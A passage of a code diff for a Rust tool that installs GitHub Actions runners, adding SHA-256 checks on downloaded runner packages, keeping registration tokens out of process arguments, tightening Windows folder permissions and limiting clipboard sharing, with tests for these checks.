- let ran = remote::run(engine, op, spec, shell, script, &[token], INSTALL_TIMEOUT).await;
- record_installed(engine, op, req, spec, ran).await
+ }
}
fn mode_label(mode: &InstallMode) -> String {
@@ -646,7 +688,7 @@ async fn install_docker(
Some(i) => (i, String::new()),
None => {
step(engine, op, "Looking up the latest runner release");
- let version = engine.github().latest_runner_release(&settings.github).await.unwrap_or_else(|| FALLBACK_RUNNER_VERSION.to_string());
+ let version = engine.github().latest_runner_release(&settings.github).await.map(|r| r.version).unwrap_or_else(|| FALLBACK_RUNNER_VERSION.to_string());
(format!("{RUNNER_IMAGE}:{version}"), format!("{RUNNER_IMAGE}:latest"))
}
};
@@ -1125,6 +1167,38 @@ Match host x
assert!(!script.contains("--token \"$OR_TOKEN\""));
}
+ #[test]
+ fn install_scripts_get_the_checksums_and_keep_the_token_out_of_argv() {
+ let release = RunnerRelease {
+ version: "2.338.0".into(),
+ sha256: vec![("linux-x64".into(), "af4b".repeat(16)), ("win-x64".into(), "f48e".repeat(16))],
+ };
+ let names = vec!["b-01".to_string()];
+ let sh = install_script(Shell::Sh, &release, "https://github.com/acme", "SECRET", &names, "gpu", "", true);
+ assert!(sh.starts_with("OR_VERSION='2.338.0'\n"));
+ assert!(sh.contains(&format!("OR_SHA256='linux-x64={} win-x64={}'\n", "af4b".repeat(16), "f48e".repeat(16))), "{}", &sh[..300]);
+ assert!(sh.contains("ACTIONS_RUNNER_INPUT_TOKEN=$OR_TOKEN ./config.sh \"$@\""));
+ let ps = install_script(Shell::Powershell, &release, "https://github.com/acme", "SECRET", &names, "gpu", "", true);
+ assert!(ps.contains(&format!("$OR_SHA256 = @('linux-x64={}', 'win-x64={}')\n", "af4b".repeat(16), "f48e".repeat(16))), "{}", &ps[..300]);
+ assert!(ps.contains("$env:ACTIONS_RUNNER_INPUT_TOKEN = $OR_TOKEN"));
+ // Registration and removal tokens never go on config.sh's or config.cmd's command line.
+ for script in [INSTALL_SH, INSTALL_PS1, CONTROL_SH, CONTROL_PS1] {
+ assert!(!script.contains("--token"), "{script}");
+ assert!(script.contains("ACTIONS_RUNNER_INPUT_TOKEN"));
+ }
+ }
+
+ #[test]
+ fn fallback_release_has_a_checksum_for_every_package() {
+ let release = fallback_release();
+ assert_eq!(release.version, FALLBACK_RUNNER_VERSION);
+ // What install.sh (osx, linux: x64, arm64, arm) and install.ps1 (win: x64, arm64) look for.
+ for platform in ["osx-x64", "osx-arm64", "linux-x64", "linux-arm64", "linux-arm", "win-x64", "win-arm64"] {
+ let (_, hex) = release.sha256.iter().find(|(p, _)| p == platform).unwrap_or_else(|| panic!("no checksum for {platform}"));
+ assert!(hex.len() == 64 && hex.bytes().all(|b| b.is_ascii_digit() || (b'a'..=b'f').contains(&b)), "{platform}: {hex}");
+ }
+ }
+
#[test]
fn validates_names_and_hosts() {
assert!(valid_runner_name("mac-studio-08"));
@@ -1166,6 +1240,88 @@ mod engine_tests {
write_exec(&dir.join("bin/Runner.Listener"), "#!/bin/sh\n[ \"$1\" = --version ] && { echo 2.329.0; exit 0; }\nsleep 120\n");
}
+ /// The real install.sh against a stand-in runner package: it only unpacks a
+ /// package whose SHA-256 matches, cached or downloaded, and config.sh gets the
+ /// token in its environment, never in its arguments.
+ #[test]
+ fn install_script_checks_the_package_and_hides_the_token() {
+ use std::io::Write;
+ use std::process::{Command, Stdio};
+
+ let tmp = std::env::temp_dir().join(format!("muxen-install-{}", std::process::id()));
+ let _ = std::fs::remove_dir_all(&tmp);
+ let (pkg, base, bin) = (tmp.join("pkg"), tmp.join("runners"), tmp.join("bin"));
+ let cache = base.join(".cache");
+ for d in [&pkg, &cache, &bin] {
+ std::fs::create_dir_all(d).unwrap();
+ }
+ // config.sh notes what it was given; run.sh does nothing.
+ write_exec(&pkg.join("config.sh"), "#!/bin/sh\nprintf '%s\\n' \"$@\" > config.args\nprintf '%s' \"${ACTIONS_RUNNER_INPUT_TOKEN-}\" > config.token\n");
+ write_exec(&pkg.join("run.sh"), "#!/bin/sh\nexit 0\n");
+ let good = tmp.join("good.tar.gz");
+ let tar = Command::new("tar").env("COPYFILE_DISABLE", "1").arg("czf").arg(&good).arg("-C").arg(&pkg).arg(".").status().unwrap();
+ assert!(tar.success());
+ let bad = tmp.join("bad.tar.gz");
+ std::fs::write(&bad, "not a runner").unwrap();
+ let sha: String = ring::digest::digest(&ring::digest::SHA256, &std::fs::read(&good).unwrap()).as_ref().iter().map(|b| format!("{b:02x}")).collect();
+ // Stands in for curl: "downloads" whatever MUXEN_TEST_DOWNLOAD names.
+ write_exec(&bin.join("curl"), "#!/bin/sh\nwhile [ $# -gt 0 ]; do [ \"$1\" = -o ] && out=$2; shift; done\ncp \"$MUXEN_TEST_DOWNLOAD\" \"$out\"\n");
+
+ // Whichever of these this machine is, its package is in the cache under its own name.
+ let platforms = ["osx-x64", "osx-arm64", "linux-x64", "linux-arm64", "linux-arm"];
+ let cached = |p: &str| cache.join(format!("actions-runner-{p}-9.9.9.tar.gz"));
+ let release = |platforms: &[&str]| RunnerRelease { version: "9.9.9".into(), sha256: platforms.iter().map(|p| (p.to_string(), sha.clone())).collect() };
+ let install = |release: &RunnerRelease, name: &str, download: &Path| {
+ let script = install_script(Shell::Sh, release, "https://github.com/acme", "SECRET-TOKEN", &[name.to_string()], "", "", false)
+ .replacen("OR_BASE=''\n", &format!("OR_BASE={}\n", remote::sh_quote(&base.to_string_lossy())), 1);
+ let mut child = Command::new("/bin/sh")
+ .arg("-s")
+ .env("PATH", format!("{}:{}", bin.display(), std::env::var("PATH").unwrap_or_default()))
+ .env("MUXEN_TEST_DOWNLOAD", download)
+ .stdin(Stdio::piped())
+ .stdout(Stdio::piped())
+ .stderr(Stdio::piped())
+ .spawn()
+ .unwrap();
+ child.stdin.take().unwrap().write_all(script.as_bytes()).unwrap();
+ let out = child.wait_with_output().unwrap();
+ (out.status.success(), format!("{}{}", String::from_utf8_lossy(&out.stdout), String::from_utf8_lossy(&out.stderr)))
+ };
+
+ // A cached package that checks out is used as it is.
+ for p in platforms {
+ std::fs::copy(&good, cached(p)).unwrap();
+ }
+ let (ok, log) = install(&release(&platforms), "r1", &bad);
+ assert!(ok && log.contains("Using cached") && log.contains("✓ r1 is installed"), "{log}");
+ let args = std::fs::read_to_string(base.join("r1/config.args")).unwrap();
+ assert!(args.contains("--unattended") && !args.contains("SECRET-TOKEN") && !args.contains("--token"), "{args}");
+ assert_eq!(std::fs::read_to_string(base.join("r1/config.token")).unwrap(), "SECRET-TOKEN");
+
+ // A changed one is downloaded again, and the download is checked too.
+ for p in platforms {
+ std::fs::write(cached(p), "changed").unwrap();
+ }
+ let (ok, log) = install(&release(&platforms), "r2", &good);
+ assert!(ok && log.contains("doesn't match its SHA-256; downloading it again") && log.contains("✓ r2 is installed"), "{log}");
+
+ // A download that doesn't match is deleted, and nothing gets installed.
+ for p in platforms {
+ let _ = std::fs::remove_file(cached(p));
+ }
+ let (ok, log) = install(&release(&platforms), "r3", &bad);
+ assert!(!ok && log.contains("doesn't match the SHA-256 GitHub published for it"), "{log}");
+ assert!(!base.join("r3").exists());
+ assert!(std::fs::read_dir(&cache).unwrap().next().is_none(), "the bad download was left behind");
+
+ // No checksum for this machine's package: nothing is downloaded or installed.
+ let (ok, log) = install(&release(&["win-x64"]), "r4", &good);
+ assert!(!ok && log.contains("don't list a SHA-256"), "{log}");
+ assert!(!base.join("r4").exists() && std::fs::read_dir(&cache).unwrap().next().is_none());
+
+ let _ = std::fs::remove_dir_all(&tmp);
+ }
+
async fn wait(engine: &Arc<Engine>, op: u64) -> Operation {
for _ in 0..600 {
if let Some(o) = engine.current().operations.iter().find(|o| o.id == op && o.status != "running") {
diff --git a/src/ops/scripts/control.ps1 b/src/ops/scripts/control.ps1
index b14c86f..9469e70 100644
--- a/src/ops/scripts/control.ps1
+++ b/src/ops/scripts/control.ps1
@@ -56,8 +56,10 @@ switch ($OR_ACTION) {
Stop-Runner
if (Test-Path (Join-Path $OR_DIR '.runner')) {
say 'Removing the runner from GitHub…'
- # config.cmd remove also uninstalls the Windows service.
- & .\config.cmd remove --token $OR_TOKEN
+ # config.cmd remove also uninstalls the Windows service. The token goes in
+ # its environment, not on its command line, which other accounts can read.
+ $env:ACTIONS_RUNNER_INPUT_TOKEN = $OR_TOKEN
+ try { & .\config.cmd remove } finally { Remove-Item Env:\ACTIONS_RUNNER_INPUT_TOKEN -ErrorAction SilentlyContinue }
if ($LASTEXITCODE -ne 0) { throw "config.cmd remove failed (exit $LASTEXITCODE)" }
}
if ($OR_DELETE) {
diff --git a/src/ops/scripts/control.sh b/src/ops/scripts/control.sh
index 2108c8c..ab9d103 100644
--- a/src/ops/scripts/control.sh
+++ b/src/ops/scripts/control.sh
@@ -120,7 +120,9 @@ case "$OR_ACTION" in
fi
if [ -f .runner ] && [ -n "$OR_TOKEN" ]; then
say "Removing the runner from GitHub…"
- ./config.sh remove --token "$OR_TOKEN" || fail "config.sh remove failed."
+ # The token goes in config.sh's environment, not its arguments: any account
+ # on the machine can read those with ps.
+ ACTIONS_RUNNER_INPUT_TOKEN=$OR_TOKEN ./config.sh remove || fail "config.sh remove failed."
elif [ -f .runner ]; then
say "Not removing it from GitHub (no removal token); dropping its registration here."
rm -f .runner .credentials .credentials_rsaparams
diff --git a/src/ops/scripts/install.ps1 b/src/ops/scripts/install.ps1
index 49ede32..73925ea 100644
--- a/src/ops/scripts/install.ps1
+++ b/src/ops/scripts/install.ps1
@@ -1,5 +1,6 @@
# Muxin: install GitHub Actions runners (Windows).
-# Muxin prepends: $OR_VERSION, $OR_URL, $OR_TOKEN, $OR_NAMES (array),
+# Muxin prepends: $OR_VERSION, $OR_SHA256 (array of "<platform>=<hex>": each
+# package's SHA-256 from the release notes), $OR_URL, $OR_TOKEN, $OR_NAMES (array),
# $OR_LABELS, $OR_GROUP, $OR_SERVICE (bool), $OR_BASE (empty: C:\actions-runner).
$ErrorActionPreference = 'Stop'
@@ -17,6 +18,14 @@ $pkg = "actions-runner-win-$arch-$OR_VERSION.zip"
$url = "https://github.com/actions/runner/releases/download/v$OR_VERSION/$pkg"
$cache = Join-Path $base '.cache'
+# The package has to match the SHA-256 GitHub published for it, downloaded or cached.
+$sha = $null
+foreach ($entry in $OR_SHA256) {
+ if ($entry.StartsWith("win-$arch=", [StringComparison]::Ordinal)) { $sha = $entry.Substring("win-$arch=".Length) }
+}
+if (-not $sha) { throw "GitHub's release notes for actions-runner $OR_VERSION don't list a SHA-256 for $pkg, so it can't be checked. Not installing it." }
+function Get-Sha256($path) { (Get-FileHash -LiteralPath $path -Algorithm SHA256).Hash.ToLowerInvariant() }
+
if ($OR_SERVICE) {
$principal = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())
if (-not $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
@@ -29,16 +38,67 @@ foreach ($name in $OR_NAMES) {
}
}
+# Only Administrators, SYSTEM and this account may change the runner folders.
+# C:\ lets every signed-in user change the folders made in it, and the runners
+# (and config.cmd, as an admin) run what's in them.
+$me = [Security.Principal.WindowsIdentity]::GetCurrent().User.Value
+$trusted = @('S-1-5-32-544', 'S-1-5-18', $me)
+function Get-Owner($path) { (Get-Acl -LiteralPath $path).GetOwner([Security.Principal.SecurityIdentifier]).Value }
+# Refuses a folder another account owns. -NoLink: also one that's a link, which
+# Muxin never makes (it could lead somewhere others can change).
+function Assert-Owner($path, [switch]$NoLink) {
+ $item = Get-Item -LiteralPath $path -Force -ErrorAction SilentlyContinue
+ if (-not $item) { return }
+ if ($NoLink -and $item.Attributes.HasFlag([IO.FileAttributes]::ReparsePoint)) {
+ throw "$path is a link to another folder, which Muxin doesn't make. Check it, delete it and try again."
+ }
+ $owner = try { Get-Owner $path } catch { throw "Couldn't see who owns $path. Check what's in it, delete it and try again." }
+ if ($trusted -notcontains $owner) {
+ $who = try { (New-Object Security.Principal.SecurityIdentifier $owner).Translate([Security.Principal.NTAccount]).Value } catch { $owner }
+ throw "$path belongs to $who, not to Administrators, SYSTEM or $env:USERNAME, so that account could change what the runners run. Check what's in it, then delete it or make Administrators its owner (icacls ""$path"" /setowner *S-1-5-32-544 /t) and try again."
+ }
+}
+# A cached package is used only when one of those three made it and it checks out.
+function Test-Cached($path) {
+ try { ($trusted -contains (Get-Owner $path)) -and ((Get-Sha256 $path) -eq $sha) } catch { $false }
+}
+$fresh = -not (Test-Path -LiteralPath $base)
+New-Item -ItemType Directory -Force -Path $base | Out-Null
+Assert-Owner $base
+# Nothing inherited from C:\, and full control for those three only. With
+# --runasservice, config.cmd gives the service's account (NETWORK SERVICE) full
+# control of its own runner folder and _work, through a GITHUB_ActionsRunner_G* group.
+& icacls.exe $base /inheritance:r /grant:r '*S-1-5-32-544:(OI)(CI)F' '*S-1-5-18:(OI)(CI)F' "*$($me):(OI)(CI)F" | Out-Null
+if ($LASTEXITCODE -ne 0) { throw "Couldn't limit who can change $base (icacls exit $LASTEXITCODE). Install as an administrator, or as the account that owns it." }
+# Anything that showed up before the line above belongs to someone else.
+if ($fresh -and (Get-ChildItem -LiteralPath $base -Force)) {
+ throw "Something was put in $base while it was being made. Check what's in it, delete it and try again."
+}
+Assert-Owner $cache -NoLink
+foreach ($name in $OR_NAMES) { Assert-Owner (Join-Path $base $name) -NoLink }
+
New-Item -ItemType Directory -Force -Path $cache | Out-Null
$zip = Join-Path $cache $pkg
-if (Test-Path $zip) {
+if ((Test-Path -LiteralPath $zip) -and (Test-Cached $zip)) {
say "Using cached $pkg"
} else {
+ if (Test-Path -LiteralPath $zip) {
+ say "The cached $pkg doesn't match its SHA-256 or belongs to another account; downloading it again."
+ Remove-Item -LiteralPath $zip -Force
+ }
+ # A new file, not one someone else made: its owner could still change it.
+ Remove-Item -LiteralPath "$zip.part" -Force -ErrorAction SilentlyContinue
say "Downloading actions-runner $OR_VERSION for win-$arch…"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri $url -OutFile "$zip.part" -UseBasicParsing
- Move-Item "$zip.part" $zip -Force
+ $got = Get-Sha256 "$zip.part"
+ if ($got -ne $sha) {
+ Remove-Item -LiteralPath "$zip.part" -Force
+ throw "The downloaded $pkg doesn't match the SHA-256 GitHub published for it (expected $sha, got $got), so it was deleted. Try again. If it keeps happening, something between this machine and GitHub is changing the download."
+ }
+ Move-Item -LiteralPath "$zip.part" -Destination $zip -Force
}
+say "Checked $pkg against GitHub's SHA-256"
foreach ($name in $OR_NAMES) {
$dir = Join-Path $base $name
@@ -46,11 +106,14 @@ foreach ($name in $OR_NAMES) {
New-Item -ItemType Directory -Force -Path $dir | Out-Null
Expand-Archive -Path $zip -DestinationPath $dir -Force
Push-Location $dir
- $cfg = @('--unattended', '--url', $OR_URL, '--token', $OR_TOKEN, '--name', $name, '--work', '_work', '--replace')
+ $cfg = @('--unattended', '--url', $OR_URL, '--name', $name, '--work', '_work', '--replace')
if ($OR_LABELS) { $cfg += @('--labels', $OR_LABELS) }
if ($OR_GROUP) { $cfg += @('--runnergroup', $OR_GROUP) }
if ($OR_SERVICE) { $cfg += '--runasservice' }
- & .\config.cmd @cfg
+ # The token goes in config.cmd's environment, not on its command line, which
+ # other accounts can read.
+ $env:ACTIONS_RUNNER_INPUT_TOKEN = $OR_TOKEN
+ try { & .\config.cmd @cfg } finally { Remove-Item Env:\ACTIONS_RUNNER_INPUT_TOKEN -ErrorAction SilentlyContinue }
if ($LASTEXITCODE -ne 0) { throw "config.cmd failed for $name (exit $LASTEXITCODE)" }
if (-not $OR_SERVICE) {
Start-Process -FilePath (Join-Path $dir 'run.cmd') -WorkingDirectory $dir -WindowStyle Hidden
diff --git a/src/ops/scripts/install.sh b/src/ops/scripts/install.sh
index 203f37b..99d0c4f 100644
--- a/src/ops/scripts/install.sh
+++ b/src/ops/scripts/install.sh
@@ -1,6 +1,8 @@
# Muxin: install GitHub Actions runners (macOS / Linux).
# Muxin prepends these variables:
# OR_VERSION runner release, e.g. 2.329.0
+# OR_SHA256 each package's SHA-256 from the release notes, space separated
+# <platform>=<hex> (e.g. linux-x64=194f...)
# OR_URL https://github.com/<org> or https://github.com/<owner>/<repo>
# OR_TOKEN registration token (short-lived)
# OR_NAMES runner names, space separated
@@ -32,6 +34,22 @@ pkg="actions-runner-$ros-$rarch-$OR_VERSION.tar.gz"
url="https://github.com/actions/runner/releases/download/v$OR_VERSION/$pkg"
cache="$base/.cache"
+# The package has to match the SHA-256 GitHub published for it, downloaded or cached.
+sha=""
+for entry in $OR_SHA256; do
+ case "$entry" in
+ "$ros-$rarch="*) sha=${entry#*=} ;;
+ esac
+done
+[ -n "$sha" ] || fail "GitHub's release notes for actions-runner $OR_VERSION don't list a SHA-256 for $pkg, so it can't be checked. Not installing it."
+if command -v sha256sum >/dev/null 2>&1; then
+ sha256() { sha256sum "$1" | awk '{ print $1 }'; }
+elif command -v shasum >/dev/null 2>&1; then
+ sha256() { shasum -a 256 "$1" | awk '{ print $1 }'; }
+else
+ fail "Neither sha256sum nor shasum is installed, so the runner package can't be checked."
+fi
+
SUDO=""
if [ "$ros" = linux ] && [ "$(id -u)" != 0 ]; then
SUDO="sudo -n"
@@ -56,9 +74,13 @@ for name in $OR_NAMES; do
done
mkdir -p "$cache" || fail "Couldn't create $cache"
-if [ -s "$cache/$pkg" ]; then
+if [ -s "$cache/$pkg" ] && [ "$(sha256 "$cache/$pkg")" = "$sha" ]; then
say "Using cached $pkg"
else
+ if [ -e "$cache/$pkg" ]; then
+ say "The cached $pkg doesn't match its SHA-256; downloading it again."
+ rm -f "$cache/$pkg" || fail "Couldn't delete $cache/$pkg"
+ fi
say "Downloading actions-runner $OR_VERSION for $ros-$rarch…"
if command -v curl >/dev/null 2>&1; then
curl -fsSL --retry 3 -o "$cache/$pkg.part" "$url" || fail "Download failed: $url"
@@ -67,8 +89,14 @@ else
else
fail "Neither curl nor wget is installed."
fi
+ got=$(sha256 "$cache/$pkg.part")
+ if [ "$got" != "$sha" ]; then
+ rm -f "$cache/$pkg.part"
+ fail "The downloaded $pkg doesn't match the SHA-256 GitHub published for it (expected $sha, got ${got:-nothing}), so it was deleted. Try again. If it keeps happening, something between this machine and GitHub is changing the download."
+ fi
mv "$cache/$pkg.part" "$cache/$pkg" || fail "Couldn't save $pkg"
fi
+say "Checked $pkg against GitHub's SHA-256"
for name in $OR_NAMES; do
dir="$base/$name"
@@ -77,10 +105,12 @@ for name in $OR_NAMES; do
tar xzf "$cache/$pkg" -C "$dir" || fail "Couldn't unpack $pkg into $dir"
cd "$dir" || fail "Couldn't enter $dir"
- set -- --unattended --url "$OR_URL" --token "$OR_TOKEN" --name "$name" --work _work --replace
+ set -- --unattended --url "$OR_URL" --name "$name" --work _work --replace
[ -n "$OR_LABELS" ] && set -- "$@" --labels "$OR_LABELS"
[ -n "$OR_GROUP" ] && set -- "$@" --runnergroup "$OR_GROUP"
- ./config.sh "$@" || fail "config.sh failed for $name. On Linux, missing libraries can be installed with: sudo $dir/bin/installdependencies.sh"
+ # The token goes in config.sh's environment, not its arguments: any account
+ # on the machine can read those with ps.
+ ACTIONS_RUNNER_INPUT_TOKEN=$OR_TOKEN ./config.sh "$@" || fail "config.sh failed for $name. On Linux, missing libraries can be installed with: sudo $dir/bin/installdependencies.sh"
if [ "$OR_SERVICE" = 1 ]; then
say "Installing $name as a service…"
diff --git a/src/ui/mod.rs b/src/ui/mod.rs
index 77c433d..3246068 100644
--- a/src/ui/mod.rs
+++ b/src/ui/mod.rs
@@ -137,7 +137,8 @@ pub fn run(engine: Arc<Engine>, initial_view: Option<String>) {
/// This computer's clipboard right now: a number that changes with every
/// copy, and whether what's there is private (a password manager marks its
-/// copies, per nspasteboard.org). None where that can't be told (not macOS).
+/// copies: per nspasteboard.org on a Mac, with Windows' clipboard-history
+/// formats on Windows). None where that can't be told (Linux).
#[cfg(target_os = "macos")]
#[allow(unexpected_cfgs)] // objc's msg_send! checks a cfg this crate doesn't declare
pub(crate) fn pasteboard_state() -> Option<(i64, bool)> {
@@ -169,7 +170,25 @@ pub(crate) fn pasteboard_state() -> Option<(i64, bool)> {
}
}
-#[cfg(not(target_os = "macos"))]
+/// Windows numbers clipboard changes. A copy that carries one of the formats
+/// that keep it out of clipboard history and other devices counts as private.
+/// (The last two hold a DWORD, 0 to keep it out; reading it would mean opening
+/// the clipboard every few hundred milliseconds, in other programs' way.)
+#[cfg(windows)]
+pub(crate) fn pasteboard_state() -> Option<(i64, bool)> {
+ use windows_sys::Win32::System::DataExchange::{GetClipboardSequenceNumber, IsClipboardFormatAvailable, RegisterClipboardFormatW};
+ let private = ["ExcludeClipboardContentFromMonitorProcessing", "CanIncludeInClipboardHistory", "CanUploadToCloudClipboard"].iter().any(|name| {
+ let wide: Vec<u16> = name.encode_utf16().chain(std::iter::once(0)).collect();
+ let format = unsafe { RegisterClipboardFormatW(wide.as_ptr()) };
+ format != 0 && unsafe { IsClipboardFormatAvailable(format) } != 0
+ });
+ Some((unsafe { GetClipboardSequenceNumber() } as i64, private))
+}
+
+/// Linux: GPUI says neither what kinds of data a copy holds nor when it
+/// changed, so a password manager's copies (marked `x-kde-passwordManagerHint`)
+/// can't be told from others here; they're shared like any text.
+#[cfg(not(any(target_os = "macos", windows)))]
pub(crate) fn pasteboard_state() -> Option<(i64, bool)> {
None
}
diff --git a/src/ui/root.rs b/src/ui/root.rs
index 437b2ba..2a6b05a 100644
--- a/src/ui/root.rs
+++ b/src/ui/root.rs
@@ -1193,20 +1193,25 @@ impl Root {
if self.engine.is_demo() || !self.engine.settings().share_clipboard {
return;
}
- match super::pasteboard_state() {
- Some((count, private)) => {
- if count == self.clipboard_seen.0 {
- return;
- }
- self.clipboard_seen.0 = count;
- if private {
- return;
- }
+ // Without a change counter (Linux), the text is compared; a password
+ // manager's copies can't be told apart there (see pasteboard_state).
+ let state = super::pasteboard_state();
+ if let Some((count, private)) = state {
+ if count == self.clipboard_seen.0 {
+ return;
+ }
+ self.clipboard_seen.0 = count;
+ if private {
+ return;
}
- // No change counter here: compare the text.
- None => {}
}
let Some(text) = cx.read_from_clipboard().and_then(|item| item.text()) else { return };
+ // Copied again while reading: that copy is looked at next time.
+ if let Some((count, _)) = state
+ && super::pasteboard_state().map(|s| s.0) != Some(count)
+ {
+ return;
+ }
if text != self.clipboard_seen.1 {
crate::fleet::clipboard::local_changed(&text);
self.clipboard_seen.1 = text;
@@ -1467,10 +1472,16 @@ impl Root {
self._subscriptions.push(cx.subscribe_in(&dialog, window, Self::on_dialog_event));
return;
}
+ // A paired machine's agent forgets this app (see Engine::remove_machine).
+ let detail = if crate::fleet::direct::paired(&machine.id).is_some() {
+ "It's taken out of config.toml and stops taking direct connections from this app. Its runners stay registered."
+ } else {
+ "It's taken out of config.toml. Nothing on the machine changes, and its runners stay registered."
+ };
let dialog = cx.new(|cx| {
ConfirmDialog::new(
format!("Remove {} from Muxin?", machine.name),
- "It's taken out of config.toml. Nothing on the machine changes, and its runners stay registered.".into(),
+ detail.into(),
"Remove machine",
None,
move |_, engine| engine.remove_machine(&machine_id).map(|_| None),
diff --git a/src/ui/settings.rs b/src/ui/settings.rs
index c0e061a..b80a764 100644
--- a/src/ui/settings.rs
+++ b/src/ui/settings.rs
@@ -865,6 +865,8 @@ impl SettingsPage {
let on = self.engine.settings().share_clipboard;
let sharing: Vec<String> = self.snapshot.machines.iter().filter(|m| crate::fleet::clipboard::sharing(&m.id)).map(|m| m.name.clone()).collect();
let here = if cfg!(target_os = "macos") { "this Mac" } else { "this computer" };
+ // Linux doesn't say which copies are a password manager's (see pasteboard_state).
+ let passwords = if cfg!(target_os = "linux") { "Passwords copied here are shared too." } else { "Passwords from a password manager aren't shared." };
let status = match (on, sharing.as_slice()) {
(false, _) => "Off.".to_string(),
(true, []) => "No machine with a desktop is connected right now.".to_string(),
@@ -887,7 +889,7 @@ impl SettingsPage {
let _ = engine.update_settings(s);
cx.refresh_windows();
}))
- .child(div().text_size(px(11.5)).text_color(theme.text_placeholder).child(format!("Copy on {here}, paste on your machines, and back. Passwords stay here.")))
+ .child(div().text_size(px(11.5)).text_color(theme.text_placeholder).child(format!("Copy on {here}, paste on your machines, and back. {passwords}")))
.child(div().text_size(px(11.5)).text_color(theme.text_muted).child(status)),
)
}
diff --git a/src/ui/terminal/mod.rs b/src/ui/terminal/mod.rs
index e4581d6..f596f89 100644
--- a/src/ui/terminal/mod.rs
+++ b/src/ui/terminal/mod.rs
@@ -310,16 +310,16 @@ impl TerminalView {
cx: &mut Context<Self>,
) -> Self {
let focus = cx.focus_handle();
- let events = cx.spawn(async move |this, cx| {
+ let events = cx.spawn_in(window, async move |this, cx| {
while let Some(first) = rx.next().await {
// Output arrives in bursts; handle everything queued in one update.
let mut batch = vec![first];
while let Ok(more) = rx.try_recv() {
batch.push(more);
}
- let alive = this.update(cx, |this, cx| {
+ let alive = this.update_in(cx, |this: &mut Self, window, cx| {
for event in batch {
- this.on_term_event(event, cx);
+ this.on_term_event(event, window, cx);
}
});
if alive.is_err() {
@@ -376,11 +376,17 @@ impl TerminalView {
*self.shared.term.lock().mode()
}
- fn on_term_event(&mut self, event: TermEvent, cx: &mut Context<Self>) {
+ fn on_term_event(&mut self, event: TermEvent, window: &Window, cx: &mut Context<Self>) {
match event {
TermEvent::Wakeup | TermEvent::MouseCursorDirty | TermEvent::CursorBlinkingChange => cx.notify(),
TermEvent::PtyWrite(text) => self.shared.write(text.into_bytes()),
- TermEvent::ClipboardStore(_, text) => cx.write_to_clipboard(ClipboardItem::new_string(text)),
+ // A program's copy (OSC 52) only while you're in its terminal, not
+ // from a session in the background; and it stays on this computer:
+ // the shared clipboard doesn't pass it on to the machines.
+ TermEvent::ClipboardStore(_, text) if window.is_window_active() && self.focus.is_focused(window) => {
+ crate::fleet::clipboard::keep_here(&text);
+ cx.write_to_clipboard(ClipboardItem::new_string(text));
+ }
TermEvent::ColorRequest(index, format) => {
let palette = Palette::new(&cx.theme());
self.shared.write(format(palette.rgb(index)).into_bytes());
@@ -392,8 +398,9 @@ impl TerminalView {
}
TermEvent::ChildExit(status) => self.finish(status.code(), cx),
TermEvent::Exit => self.finish(None, cx),
- // Never hand the clipboard to the program unasked.
- TermEvent::ClipboardLoad(..) | TermEvent::Title(_) | TermEvent::ResetTitle | TermEvent::Bell => {}
+ // Never hand the clipboard to the program unasked (nor let one in
+ // the background set it).
+ TermEvent::ClipboardStore(..) | TermEvent::ClipboardLoad(..) | TermEvent::Title(_) | TermEvent::ResetTitle | TermEvent::Bell => {}
}
}